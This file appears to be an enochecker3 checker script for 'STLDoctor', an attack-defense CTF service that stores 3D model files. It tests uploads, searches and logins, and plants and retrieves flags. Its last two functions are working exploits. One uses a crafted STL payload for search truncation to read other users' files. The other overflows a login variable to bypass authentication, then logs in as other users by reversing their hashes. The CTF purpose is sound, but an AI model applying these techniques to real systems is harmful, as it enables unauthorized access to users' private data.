#!/usr/bin/env python3

import logging
import math
import os
import random
import re
import struct
import subprocess

import numpy as np

logging.getLogger("faker").setLevel(logging.WARNING)
logging.getLogger("_curses").setLevel(logging.CRITICAL)

from asyncio import StreamReader, StreamWriter
from io import BytesIO
from logging import LoggerAdapter
from typing import Any, Optional, Union, cast

from enochecker3 import (
    AsyncSocket,
    ChainDB,
    DependencyInjector,
    Enochecker,
    GetflagCheckerTaskMessage,
    GetnoiseCheckerTaskMessage,
    HavocCheckerTaskMessage,
    InternalErrorException,
    MumbleException,
    PutflagCheckerTaskMessage,
    PutnoiseCheckerTaskMessage,
)
from enochecker3.utils import FlagSearcher, assert_in
from faker import Faker
from stl import mesh

rand = random.SystemRandom()
generic_alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!"
script_path = os.path.dirname(os.path.realpath(__file__))
models_path = f"{script_path}/models"
extra_models = [
    f"{models_path}/{path}" for path in os.listdir(models_path) if path.endswith(".stl")
]
prompt = b"\r$ "

search_truncation_payload = b"""
solid test\xff
    facet normal 0 0 1.0
        outer loop
            vertex 1 0 0
            vertex 1 1 0
            vertex 0 1 0
        endloop
    endfacet
endsolid test\xff
"""

checker = Enochecker("STLDoctor", 9090)
app = lambda: checker.app


class Session:
    def __init__(self, socket: AsyncSocket) -> None:
        socket_tuple = cast(tuple[StreamReader, StreamWriter], socket)
        self.reader = socket_tuple[0]
        self.writer = socket_tuple[1]

    async def __atexit__(self) -> None:
        await self.close()

    async def prepare(self) -> None:
        await self.reader.readuntil(prompt)  # skip welcome banner

    async def close(self) -> None:
        self.writer.write(b"exit\n")
        await self.writer.drain()
        await self.reader.readuntil(b"bye!")  # ensure clean exit
        self.writer.close()
        await self.writer.wait_closed()


@checker.register_dependency
def _get_session(socket: AsyncSocket) -> Session:
    return Session(socket)


def ensure_bytes(v: Union[str, bytes]) -> bytes:
    if type(v) == bytes:
        return v
    elif type(v) == str:
        return v.encode()
    else:
        raise InternalErrorException("Tried to pass non str/bytes to bytes arg")


def includes_all(resp: bytes, targets: list[bytes]) -> bool:
    for m in targets:
        if ensure_bytes(m) not in resp:
            return False
    return True


def includes_any(resp: bytes, targets: list[bytes]) -> bool:
    for m in targets:
        if ensure_bytes(m) in resp:
            return True
    return False


def fakeid(havoc: bool = False) -> bytes:
    if havoc:
        idlen = rand.randint(10, 40)
        return bytes([rand.randint(32, 127) for i in range(idlen)])
    else:
        fake = Faker(["en_US"])
        idstr = bytes(
            [c for c in fake.name().replace(" ", "").encode() if c in generic_alphabet][
                :12
            ]
        ).ljust(10, b".")
        idstr += bytes([rand.choice(generic_alphabet) for i in range(8)])
        return idstr


def fakeids(n: int, havoc: bool = False) -> list[bytes]:
    return [fakeid(havoc) for i in range(n)]


def approx_equal(f1: float, f2: float, precision: int = 2) -> bool:
    return round(f1, precision) == round(f2, precision)


def reverse_hash(hashstr: str) -> bytes:
    data = subprocess.check_output([f"{script_path}/revhash/revhash", hashstr])[:-1]
    if data == b"":
        raise InternalErrorException(f"Failed to find hash preimage of {hashstr!r}")
    return data


def parse_int(intstr: Union[str, bytes]) -> Optional[int]:
    try:
        return int(intstr)
    except:
        return None


def parse_float(floatstr: Union[str, bytes]) -> Optional[float]:
    try:
        return float(floatstr)
    except:
        return None


def has_alph(data: Union[str, bytes], alph: Union[str, bytes]) -> bool:
    return len([v for v in data if v not in alph]) == 0


def assert_match(data: bytes, pattern: bytes, raiser: Any) -> bytes:
    rem = re.search(pattern, data)
    if rem is None:
        raise raiser(f"Expected pattern {pattern!r} to match {data!r}")
    if len(rem.groups()) > 0:
        return rem.group(1)
    return rem.group(0)


def genfile_ascii(solidname: bytes, malformed: bool = None) -> bytes:
    indent = bytes([rand.choice(b"\t ") for i in range(rand.randint(1, 4))])
    facet_count = rand.randint(4, 30)

    if len(solidname) != 0:
        content = b"solid " + solidname + b"\n"
    else:
        content = b"solid\n"

    for fi in range(facet_count):
        # MALFORM 1: wrong keyword
        if malformed == 1:
            content += indent * 1 + b"facet nornal "
        else:
            content += indent * 1 + b"facet normal "

        vs = [[rand.random() for i in range(3)] for k in range(3)]
        norm = np.cross(np.subtract(vs[1], vs[0]), np.subtract(vs[2], vs[0]))
        norm = norm / np.linalg.norm(norm)

        content += " ".join([f"{v:.2f}" for v in norm]).encode() + b"\n"

        # MALFORM 2: wrong keyword case
        if malformed == 2:
            content += indent * 2 + b"outer lOop\n"
        else:
            content += indent * 2 + b"outer loop\n"

        for i in range(3):
            content += (
                indent * 3
                + b"vertex "
                + " ".join([f"{v:.2f}" for v in vs[i]]).encode()
                + b"\n"
            )

        content += indent * 2 + b"endloop\n"
        content += indent + b"endfacet\n"

    # MALFORM 3: no endsolid keyword
    if malformed != 3:
        if solidname != b"":
            content += b"endsolid " + solidname + b"\n"
        else:
            content += b"endsolid\n"

    return content


def genfile_bin(solidname: bytes, malformed: bool = None) -> bytes:
    facet_count = rand.randint(4, 30)

    if len(solidname) > 78:
        raise InternalErrorException(
            "Solidname to embed in header is larger than header itself"
        )
    if solidname != "":
        content = b"#" + solidname.ljust(78, b"\x00") + b"\x00"
    else:
        content = b"#" + b"\x00" * 79

    # MALFORM 1: specify more facets than are in the file
    if malformed == 1:
        content += struct.pack("<I", facet_count + rand.randint(3, 7))
    else:
        content += struct.pack("<I", facet_count)

    for fi in range(facet_count):
        vs = [[rand.random() for i in range(3)] for k in range(3)]
        norm = np.cross(np.subtract(vs[1], vs[0]), np.subtract(vs[2], vs[0]))

        # MALFORM 2: invalid float for norm / vec
        if malformed == 2:
            norm[rand.randint(0, 2)] = math.nan
            vs[rand.randint(0, 2)][rand.randint(0, 2)] = math.inf
        for i in range(3):
            content += struct.pack("<f", norm[i])
        for k in range(3):
            for i in range(3):
                content += struct.pack("<f", vs[k][i])
        content += b"\x00\x00"

    # MALFORM 3: add extra data to the end of the file
    if malformed == 3:
        content += bytes([rand.randint(0, 255) for i in range(30)])

    return content


def genfile(solidname: bytes, filetype: str, malformed: Optional[Any] = None) -> bytes:
    if filetype == "ascii":
        return genfile_ascii(solidname, malformed=malformed)
    elif filetype == "bin":
        return genfile_bin(solidname, malformed=malformed)
    elif filetype == "garbage-tiny":
        return bytes([rand.choice(generic_alphabet) for i in range(rand.randint(3, 8))])
    elif filetype == "garbage":
        return bytes(
            [rand.choice(generic_alphabet) for i in range(rand.randint(100, 300))]
        )
    else:
        raise InternalErrorException("Invalid file type supplied")


def parse_stlinfo(stlfile: bytes) -> Any:
    fakefile = BytesIO()
    fakefile.write(stlfile)
    fakefile.seek(0)
    try:
        name, data = mesh.Mesh.load(fakefile)
        meshinfo = mesh.Mesh(data, True, name=name, speedups=True)  # type: ignore
    except Exception as e:
        raise InternalErrorException(f"Unable to parse generated STL file: {e}")
    bmin = [math.inf for i in range(3)]
    bmax = [-math.inf for i in range(3)]
    if len(meshinfo.points) == 0:
        raise InternalErrorException("Parsed STL mesh has 0 points!")
    for p in meshinfo.points:
        for k in range(3):
            for i in range(3):
                bmin[k] = min(bmin[k], float(p[3 * i + k]))
                bmax[k] = max(bmax[k], float(p[3 * i + k]))
    info = {
        "points": meshinfo.points,
        "bb_origin": bmin,
        "bb_size": [bmax[i] - bmin[i] for i in range(3)],
        "size": len(stlfile),
        "triangle_count": len(meshinfo.points),
    }
    return info


async def getdb(db: ChainDB, key: str) -> tuple[Any, ...]:
    try:
        return await db.get(key)
    except KeyError:
        raise MumbleException(
            "Could not retrieve necessary info for service interaction"
        )


# SERVICE FUNCTIONS #


async def do_auth(
    session: Session, logger: LoggerAdapter, authstr: bytes, check: bool = True
) -> Optional[bool]:
    logger.debug(f"Logging in with {authstr!r}")
    session.writer.write(b"auth\n")
    session.writer.write(authstr + b"\n")
    await session.writer.drain()

    # Check for errors
    resp = await session.reader.readline()
    if b"ERR:" in resp:
        if check:
            logger.critical(f"Failed to login with {authstr!r}:\n{resp!r}")
            raise MumbleException("Authentication not working properly")
        return None

    # Also check success message
    resp += await session.reader.readuntil(prompt)
    if b"Success!" not in resp:
        logger.critical(f"Login with pass {authstr!r} failed")
        raise MumbleException("Authentication not working properly")

    return b"Welcome back" in resp


async def do_list(
    session: Session, logger: LoggerAdapter, check: bool = True
) -> Optional[bytes]:
    session.writer.write(b"list\n")
    await session.writer.drain()
    resp = await session.reader.readuntil(prompt)

    # Check for errors
    if b"ERR:" in resp and b">> " not in resp:
        if check:
            logger.critical(f"Failed to list private files:\n{resp!r}")
            raise MumbleException("File listing not working properly")
        return None

    return resp


async def do_upload(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    stlfile: bytes,
    check: bool = True,
) -> Optional[bytes]:
    # Upload file
    logger.debug(f"Uploading model with name {modelname!r}")
    session.writer.write(b"upload\n")
    session.writer.write(modelname + b"\n")
    session.writer.write(f"{len(stlfile)}\n".encode())
    session.writer.write(stlfile)
    await session.writer.drain()

    # Check for errors
    # TODO improve by reading responses separately
    resp = await session.reader.readline()
    resp += await session.reader.readline()
    if b"ERR:" in resp:
        if check:
            logger.critical(f"Failed to upload model {modelname!r}:\n{resp!r}")
            raise MumbleException("File upload not working properly")
        await session.reader.readuntil(prompt)
        return None

    # Parse ID
    try:
        modelid = resp.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1]
        if modelid == b"":
            raise Exception
    except:
        logger.critical(f"Invalid response during upload of {modelname!r}:\n{resp!r}")
        raise MumbleException("File upload not working properly")

    await session.reader.readuntil(prompt)
    return modelid


async def do_search(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    download: bool = False,
    check: bool = True,
) -> Optional[tuple[bytes, bytes]]:
    modelname = ensure_bytes(modelname)

    # Initiate download
    logger.debug(f"Retrieving model with name {modelname!r}")
    session.writer.write(b"search " + modelname + b"\n")
    session.writer.write(b"0\n")  # first result
    session.writer.write(b"y\n" if download else b"n\n")
    session.writer.write(b"q\n")  # quit
    await session.writer.drain()

    # Check if an error occured
    line = await session.reader.readline()
    if b"ERR:" in line:
        if check:
            logger.critical(f"Failed to retrieve model {modelname!r}:\n{line!r}")
            raise MumbleException("File search not working properly")
        if b"Couldn't find a matching scan result" in line:
            # collect all the invalid commands sent after (hacky)
            # TODO: improve by checking every response in search
            await session.reader.readuntil(prompt)
            await session.reader.readuntil(prompt)
            await session.reader.readuntil(prompt)
        await session.reader.readuntil(prompt)
        return None

    # read until end of info box
    fileinfo = line + await session.reader.readuntil(b"================== \n")

    stlfile = b""
    if download:  # Parse file contents
        await session.reader.readuntil(b"Here you go.. (")
        resp = await session.reader.readuntil(b"B)\n")
        resp = resp[:-3]
        size = parse_int(resp)
        if size is None:
            raise MumbleException(
                f"Received invalid download size, response:\n{resp!r}"
            )

        logger.debug(f"Download size: {size}")
        stlfile = await session.reader.readexactly(size)

    await session.reader.readuntil(prompt)
    return fileinfo, stlfile


# CHECK WRAPPERS #


async def check_line(session: Session, logger: LoggerAdapter, context: str) -> bytes:
    line = await session.reader.readline()
    if b"ERR:" in line:
        logger.critical(f"{context}: Unexpected error message\n")
        raise MumbleException("Service returned error during valid interaction")
    return line


async def check_listed(
    session: Session, logger: LoggerAdapter, includes: list[bytes]
) -> bytes:
    resp = await do_list(session, logger, check=True)
    assert resp is not None
    if not includes_all(resp, includes):
        logger.critical(f"Failed to find {includes} in listing:\n{resp!r}")
        raise MumbleException("File listing not working properly")
    return resp


async def check_not_listed(
    session: Session,
    logger: LoggerAdapter,
    excludes: list[bytes],
    fail: bool = False,
) -> Optional[bytes]:
    resp = await do_list(session, logger, check=False)
    if resp is not None:
        if fail:
            logger.critical(f"Expected list to fail, but returned:\n{resp!r}")
            raise MumbleException("File listing not working properly")
        if includes_any(resp, excludes):
            logger.critical(
                f"Unexpectedly found one of {excludes} in listing:\n{resp!r}"
            )
            raise MumbleException("File listing not working properly")
    elif not fail:
        logger.critical(f"list failed unexpectedly:\n{resp!r}")
        raise MumbleException("File listing not working properly")
    return resp


async def check_in_search(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    includes: list[bytes],
    download: bool = False,
) -> tuple[bytes, bytes]:
    resp = await do_search(session, logger, modelname, download, check=True)
    assert resp is not None
    if not includes_all(resp[0] + resp[1], includes):
        logger.critical(
            f"Retrieved info for {modelname!r} is missing {includes}: {resp[0]+resp[1]!r}"
        )
        raise MumbleException("File search not working properly")
    return resp


async def check_not_in_search(
    session: Session,
    logger: LoggerAdapter,
    modelname: bytes,
    excludes: list[bytes],
    download: bool = False,
    fail: bool = False,
) -> Optional[tuple[bytes, bytes]]:
    resp = await do_search(session, logger, modelname, download, check=False)
    if resp is not None:
        combined = resp[0] + resp[1]
        if fail:
            logger.critical(
                "Search for {modelname!r} succeeded unexpectedly:\n{combined!r}"
            )
            raise MumbleException("File search not working properly")
        if includes_any(combined, excludes):
            logger.critical(
                f"Unexpectedly {modelname!r} info contains one of {excludes}: {combined!r}"
            )
            raise MumbleException("File search not working properly")
    elif not fail:
        logger.critical(f"Search for {modelname!r} failed unexpectedly")
        raise MumbleException("File search not working properly")
    return resp


def check_hash(hashstr: bytes) -> None:
    if not has_alph(hashstr, b"0123456789abcdef"):
        raise MumbleException("Invalid model hash format returned")


def check_stlinfo(
    logger: LoggerAdapter,
    resp: bytes,
    ref_info: Any,
    ref_modelid: Optional[bytes] = None,
    ref_modelname: Optional[bytes] = None,
    ref_solidname: Optional[bytes] = None,
) -> None:
    def logthrow(msg: str) -> None:
        logger.critical(msg)
        raise MumbleException("STL parsing not working properly")

    size = parse_int(assert_match(resp, b"File Size: (.*)\n", MumbleException))
    if not size or size != ref_info["size"]:
        logthrow(
            f"STL info returned no / invalid file size: {size} != {ref_info['size']}"
        )

    triangle_count = parse_int(
        assert_match(resp, b"Triangle Count: (.*)\n", MumbleException)
    )
    if not triangle_count or triangle_count != ref_info["triangle_count"]:
        logthrow(
            f"STL info returned no / invalid triangle count: {triangle_count} != {ref_info['triangle_count']}"
        )

    bb_size_str = assert_match(resp, b"Bounding Box Size: (.*)\n", MumbleException)
    bb_size = [parse_float(v) for v in bb_size_str.split(b" x ")]
    for i in range(3):
        val = bb_size[i]
        if val is None:
            logthrow(f"STL info returned invalid bounding box size: {bb_size_str!r}")
        elif not approx_equal(val, ref_info["bb_size"][i]):
            logthrow(
                f"Bounding box size doesnt match: (REF) {ref_info['bb_size']} {bb_size}"
            )

    bb_origin_str = assert_match(resp, b"Bounding Box Origin: (.*)\n", MumbleException)
    bb_origin = [parse_float(v) for v in bb_origin_str.split(b" x ")]
    for i in range(3):
        val = bb_origin[i]
        if val is None:
            logthrow(
                f"STL info returned invalid bounding box origin: {bb_origin_str!r}"
            )
        elif not approx_equal(val, ref_info["bb_origin"][i]):
            logthrow(
                f"Bounding box origin doesnt match: (REF) {ref_info['bb_origin']} {bb_origin}"
            )

    triangle_count = parse_int(
        assert_match(resp, b"Triangle Count: (.*)\n", MumbleException)
    )
    if triangle_count is None or triangle_count != ref_info["triangle_count"]:
        logthrow(
            f"Triangle count {triangle_count} doesnt match expected: {ref_info['triangle_count']}"
        )

    if ref_modelname:
        modelname = assert_match(resp, b"Model Name: (.*)\n", MumbleException)
        if modelname != ref_modelname:
            logthrow(f"Got modelname {modelname!r}, expected {ref_modelname!r}")

    if ref_modelid:
        modelid = assert_match(resp, b"Model ID: (.*)\n", MumbleException)
        if modelid != ref_modelid:
            logthrow(f"Got modelid {modelid!r}, expected {ref_modelid!r}")

    if ref_solidname:
        solidname = assert_match(resp, b"Solid Name: (.*)\n", MumbleException)
        if solidname != ref_solidname:
            logthrow(f"Got solidname {solidname!r}, expected {ref_solidname!r}")


# TEST METHODS #


async def test_good_upload(
    di: DependencyInjector, filetype: str, register: bool
) -> None:
    solidname = fakeid(havoc=(filetype == "bin"))  # ascii stl cant handle havoc
    modelname, authstr = fakeids(2, havoc=True)
    stlfile = genfile(solidname, filetype)
    ref_info = parse_stlinfo(stlfile)
    logger = await di.get(LoggerAdapter)

    # Create new session, register and upload file
    session = await di.get(Session)
    await session.prepare()
    if register:
        await do_auth(session, logger, authstr, check=True)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None
    check_hash(modelid)
    expected = [modelname, solidname, stlfile, modelid]
    info, stlfile = await check_in_search(
        session, logger, modelname, expected, download=True
    )
    check_stlinfo(
        logger,
        info,
        ref_info,
        ref_modelname=modelname,
        ref_modelid=modelid,
        ref_solidname=solidname,
    )
    if register:
        await check_listed(session, logger, [modelname, modelid + b"-"])
    await session.close()

    # Try getting file from a new session
    session = await di.get(Session)
    await session.prepare()
    if register:
        await check_not_in_search(
            session, logger, modelname, expected, download=True, fail=True
        )
        await do_auth(session, logger, authstr, check=True)
        info, stlfile = await check_in_search(
            session, logger, modelname, expected, download=True
        )
        check_stlinfo(
            logger,
            info,
            ref_info,
            ref_modelname=modelname,
            ref_modelid=modelid,
            ref_solidname=solidname,
        )
        await check_listed(session, logger, [modelname, modelid + b"-"])
    else:
        info, stlfile = await check_in_search(
            session, logger, modelname, expected, download=True
        )
        check_stlinfo(
            logger,
            info,
            ref_info,
            ref_modelname=modelname,
            ref_modelid=modelid,
            ref_solidname=solidname,
        )
    await session.close()


async def test_bad_upload(di: DependencyInjector, filetype: str, variant: int) -> None:
    modelname, solidname = fakeids(2)
    stlfile = genfile(solidname, filetype, malformed=variant)
    logger = await di.get(LoggerAdapter)

    # Ensure a malformed file causes an error
    session = await di.get(Session)
    await session.prepare()
    if await do_upload(session, logger, modelname, stlfile, check=False):
        logger.critical(f"Able to upload malformed file:\n{stlfile!r}")
        raise MumbleException("Upload validation not working properly")
    await session.close()


async def test_search(di: DependencyInjector, registered: bool = False) -> None:
    solidname, modelname, authstr = fakeids(3)
    logger = await di.get(LoggerAdapter)

    # Ensure searching for a file that doesnt exist causes an error
    session = await di.get(Session)
    await session.prepare()
    if registered:
        await do_auth(session, logger, authstr, check=True)
    if resp := await do_search(session, logger, modelname, download=False, check=False):
        assert resp is not None
        logger.critical(
            f"Search for file that shouldn't exist succeeded:\n{resp[0]+resp[1]!r}"
        )
        raise MumbleException("File search not working properly")
    await session.close()


# CHECKER METHODS #


@checker.putflag(0)
async def putflag_guest(
    task: PutflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname = fakeid()
    logger = await di.get(LoggerAdapter)
    db = await di.get(ChainDB)

    session = await di.get(Session)
    await session.prepare()
    stlfile = genfile(task.flag.encode(), "ascii")
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None
    await session.close()

    await db.set("flag-0-info", (modelname, modelid))


@checker.putflag(1)
async def putflag_private(
    task: PutflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname, authstr = fakeids(2)
    logger = await di.get(LoggerAdapter)
    stlfile = genfile(task.flag.encode(), "bin")
    db = await di.get(ChainDB)

    session = await di.get(Session)
    await session.prepare()
    await do_auth(session, logger, authstr, check=True)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None
    await session.close()

    await db.set("flag-1-info", (modelname, modelid, authstr))


@checker.getflag(0)
async def getflag_guest(
    task: GetflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelname, modelid = await getdb(db, "flag-0-info")
    logger = await di.get(LoggerAdapter)

    session = await di.get(Session)
    await session.prepare()
    resp = await do_search(session, logger, modelname, download=True, check=True)
    assert resp is not None
    assert_in(task.flag.encode(), resp[0], "Flag is missing from stl info")
    assert_in(task.flag.encode(), resp[1], "Flag is missing from stl file")
    await session.close()


@checker.getflag(1)
async def getflag_private(
    task: GetflagCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelname, modelid, authstr = await getdb(db, "flag-1-info")
    logger = await di.get(LoggerAdapter)

    session = await di.get(Session)
    await session.prepare()
    await do_auth(session, logger, authstr, check=True)
    search_resp = await do_search(session, logger, modelname, download=True, check=True)
    assert search_resp is not None
    assert_in(task.flag.encode(), search_resp[0], "Flag is missing from stl info")
    assert_in(task.flag.encode(), search_resp[1], "Flag is missing from stl file")
    list_resp = await do_list(session, logger, check=True)
    assert list_resp is not None
    assert_in(task.flag.encode(), list_resp, "Flag is missing from list")
    await session.close()


@checker.putnoise(0, 1)
async def putnoise_guest_ascii(
    task: PutnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname, solidname = fakeids(2)
    logger = await di.get(LoggerAdapter)
    db = await di.get(ChainDB)

    session = await di.get(Session)
    await session.prepare()
    stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    await session.close()

    await db.set(
        f"noise-{task.variant_id}-info", (modelid, modelname, solidname, stlfile)
    )


@checker.putnoise(2, 3)
async def putnoise_priv_ascii(
    task: PutnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    modelname, solidname, authstr = fakeids(3)
    logger = await di.get(LoggerAdapter)
    db = await di.get(ChainDB)

    session = await di.get(Session)
    await session.prepare()
    stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
    await do_auth(session, logger, authstr, check=True)
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    await session.close()

    await db.set(
        f"noise-{task.variant_id}-info",
        (modelid, modelname, solidname, stlfile, authstr),
    )


@checker.getnoise(0, 1)
async def getnoise_guest_ascii(
    task: GetnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelid, modelname, solidname, stlfile = await getdb(
        db, f"noise-{task.variant_id}-info"
    )
    logger = await di.get(LoggerAdapter)

    session = await di.get(Session)
    await session.prepare()
    await check_in_search(
        session,
        logger,
        modelname,
        [modelname, solidname, stlfile, modelid],
        download=True,
    )
    await session.close()


@checker.getnoise(2, 3)
async def getnoise_priv_ascii(
    task: GetnoiseCheckerTaskMessage, di: DependencyInjector
) -> None:
    db = await di.get(ChainDB)
    modelid, modelname, solidname, stlfile, authstr = await getdb(
        db, f"noise-{task.variant_id}-info"
    )
    logger = await di.get(LoggerAdapter)

    session = await di.get(Session)
    await session.prepare()
    await do_auth(session, logger, authstr, check=True)
    await check_in_search(
        session,
        logger,
        modelname,
        [modelname, solidname, stlfile, modelid],
        download=True,
    )
    await session.close()


@checker.havoc(*range(0, 4))
async def havoc_good_upload(
    task: HavocCheckerTaskMessage, di: DependencyInjector
) -> None:
    filetype = ["ascii", "bin", "ascii", "bin"]
    registered = [False, False, True, True]
    await test_good_upload(di, filetype[task.variant_id], registered[task.variant_id])


@checker.havoc(*range(4, 12))
async def havoc_bad_upload(
    task: HavocCheckerTaskMessage, di: DependencyInjector
) -> None:
    filetype = [
        "ascii",
        "ascii",
        "ascii",
        "bin",
        "bin",
        "bin",
        "garbage",
        "garbage-tiny",
    ]
    upload_variant = [1, 2, 3, 1, 2, 3, 1, 1]
    index = task.variant_id - 4
    await test_bad_upload(di, filetype[index], upload_variant[index])


@checker.havoc(12, 13)
async def havoc_test_search(
    task: HavocCheckerTaskMessage, di: DependencyInjector
) -> None:
    await test_search(di, task.variant_id == 12)


@checker.havoc(14)
async def havoc_test_list_unregistered(di: DependencyInjector) -> None:
    logger = await di.get(LoggerAdapter)

    # Ensure that list does not work for unregistered users
    session = await di.get(Session)
    await session.prepare()
    resp = await do_list(session, logger, check=False)
    if resp is not None:
        logger.critical("Unregistered user can run list without ERR!")
        raise MumbleException("User authentication not working properly")
    await session.close()


@checker.havoc(15)
async def havoc_fluff_upload(di: DependencyInjector) -> None:
    if len(extra_models) == 0:
        return
    model = rand.choice(extra_models)
    modelname = os.path.basename(model).split("-")[0].encode()
    modelname += bytes([rand.choice(b"0123456789") for i in range(5)])
    stlfile = open(model, "rb").read()
    logger = await di.get(LoggerAdapter)

    session = await di.get(Session)
    await session.prepare()
    modelid = await do_upload(session, logger, modelname, stlfile, check=True)
    assert modelid is not None
    await check_in_search(
        session, logger, modelname, [modelname, modelid, stlfile], download=True
    )


@checker.exploit(0)
async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
    modelname = fakeid()
    logger = await di.get(LoggerAdapter)
    searcher = await di.get(FlagSearcher)

    # Upload evil file for parse via search for hash truncation
    session = await di.get(Session)
    await session.prepare()
    logger.debug("Uploading evil file for hash truncation")
    await do_upload(
        session, logger, modelname, stlfile=search_truncation_payload, check=True
    )
    search_resp = await do_search(
        session, logger, modelname, download=False, check=True
    )
    assert search_resp is not None
    info, contents = search_resp
    session.writer.write(b"search last\n")
    await session.writer.drain()
    filelist_resp = await session.reader.readuntil(b"? ")
    filelist = [
        l.strip().split(b" : ")[1] for l in filelist_resp.split(b"\n") if b" : " in l
    ]
    if len(filelist) == 0:
        raise MumbleException("Failed to list files through search")

    # Use it to enumerate other files and grab contents
    logger.debug(
        "Targets:\n" + "\n".join([" - " + l.decode("latin1") for l in filelist])
    )
    for i, fhash in enumerate(filelist):
        logger.debug(f"Retrieving file {fhash} at index {i}")
        session.writer.write(f"{i}\nn\n".encode())
        await session.writer.drain()
        filelist_resp = await session.reader.readuntil(b"==================")
        filelist_resp += await session.reader.readuntil(b"? ")
        if flag := searcher.search_flag(filelist_resp.decode("latin1")):
            return flag

    # Done!
    session.writer.write(b"q\n")
    await session.writer.drain()
    await session.reader.readuntil(prompt)
    await session.close()

    raise MumbleException("Exploit for flagstore 1 failed")


@checker.exploit(1)
async def exploit_hash_overflow(di: DependencyInjector) -> None:
    logger = await di.get(LoggerAdapter)
    searcher = await di.get(FlagSearcher)

    # Overflow loggedin variable
    session = await di.get(Session)
    await session.prepare()
    session.writer.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
    await session.writer.drain()
    await session.reader.readuntil(prompt)
    session.writer.write(b"auth\n")
    await session.writer.drain()
    resp = await session.reader.readuntil(prompt)
    if b"Already logged in!" not in resp:
        raise MumbleException("Exploit did not set 'loggedin' variable via overflow")

    # Get private user hashes via 'list'
    resp = await do_list(session, logger, check=False)
    if not resp:
        raise MumbleException("")
    logger.debug("list response: " + str(resp))
    users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
    await session.close()

    # Login as each private user
    for userhash in users:
        # Find preimage of user hash
        logger.debug(f"Logging in as user with id {userhash!r}")
        authstr = reverse_hash(userhash.decode())

        # Authenticate and check if the user is new
        session = await di.get(Session)
        await session.prepare()
        if not await do_auth(session, logger, authstr, check=True):
            await session.close()
            # We dont raise an exception, because it could be that user dir was cleaned
            # up just before we logged in, not necessarily because of an invalid prehash.
            # If there was a problem with the preimage generation, we wont find a flag and
            # an exception will be raised later anways...
            continue

        # list all private files of user
        resp = await do_list(session, logger, check=True)
        await session.close()

        # Search for flag in solid names
        solidnames = b"\n".join(
            [l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]
        )
        if flag := searcher.search_flag(solidnames.decode("latin1")):
            return flag

    raise MumbleException("Exploit for flagstore 2 failed")


if __name__ == "__main__":
    checker.run(port=9091)